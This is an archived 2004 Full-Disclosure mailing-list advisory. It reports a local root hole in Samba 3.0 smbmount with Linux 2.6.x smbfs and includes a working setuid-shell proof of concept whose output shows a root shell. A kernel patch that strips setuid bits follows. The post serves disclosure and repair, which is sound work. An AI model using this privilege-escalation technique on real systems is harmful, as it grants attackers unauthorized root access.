full-disclosure - Samba 3.0 + linux 2.6.x local root vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20040209212200.GB18775@slovakia.sh.cvut.cz>
From: M.Medvecky at sh.cvut.cz (Michal Medvecky)
Subject: Samba 3.0 + linux 2.6.x local root vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

"share" - smb server
"slovakia" - smb client
                                                                                                                                               
misko@...vakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian
                                                                                                                                               
misko@...vakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x    1 root     root       591756 2004-01-13 20:29 /usr/bin/smbmount
misko@...vakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x    1 root     root         8088 2004-01-13 20:29 /usr/bin/smbmnt
     ^                                                                                                                                         

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
                                                                                                                                               
share:/data/share# make a
cc     a.c   -o a
share:/data/share# chmod +s a
share:/data/share#
                                                                                                                                               
share:/etc/samba/smb.conf
                                                                                                                                               
[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share
                                                                                                                                               
share:/data/share# ls -l a
- - -rwsr-sr-x    1 root     root        11716 Feb  8 12:39 a
                                                                                                                                               
misko@...vakia:~$ ls -l pokus/a
- - -rwsr-sr-x    1 root     root        11716 2004-02-08 12:39 pokus/a
misko@...vakia:~$ pokus/a
root@...vakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@...vakia:~#

Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

Quick patch for 2.6.3-rc1 kernel by Urban Widmark:

diff -urN -X exclude linux-2.6.3-rc1-orig/fs/smbfs/proc.c linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c
- --- linux-2.6.3-rc1-orig/fs/smbfs/proc.c        Mon Feb  9 19:08:39 2004
+++ linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c       Mon Feb  9 21:43:08 2004
@@ -546,7 +546,8 @@
                                                                                                                                               
 #define MAX_FILE_MODE  6
 static mode_t file_mode[] = {
- -       S_IFREG, S_IFDIR, S_IFLNK, S_IFCHR, S_IFBLK, S_IFIFO, S_IFSOCK
+       S_IFREG, S_IFDIR, S_IFLNK, S_IFREG /* S_IFCHR */, S_IFREG /* S_IFBLK */,
+       S_IFIFO, S_IFSOCK
 };
                                                                                                                                               
 static int smb_filetype_to_mode(u32 filetype)
@@ -567,9 +568,9 @@
        if (mode & S_IFLNK)
                return UNIX_TYPE_SYMLINK;
        if (mode & S_IFCHR)
- -               return UNIX_TYPE_CHARDEV;
+               return UNIX_TYPE_FILE /* UNIX_TYPE_CHARDEV */ ;
        if (mode & S_IFBLK)
- -               return UNIX_TYPE_BLKDEV;
+               return UNIX_TYPE_FILE /* UNIX_TYPE_BLKDEV */ ;
        if (mode & S_IFIFO)
                return UNIX_TYPE_FIFO;
        if (mode & S_IFSOCK)
@@ -1834,6 +1835,7 @@
 static void
 smb_finish_dirent(struct smb_sb_info *server, struct smb_fattr *fattr)
 {
+       fattr->f_mode &= ~(S_ISGID | S_ISUID);
        if (fattr->f_unix)
                return;


Bug discovered by Martin Fiala <digri@....cvut.cz>

Michal
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAJ/n4I4dMYFEaiukRAkfUAJwI61W6rmmmOH30QX4k8jvZ9UXWowCeNojE
ehPixij9jvW5cg5RAldMJro=
=fs8H
-----END PGP SIGNATURE-----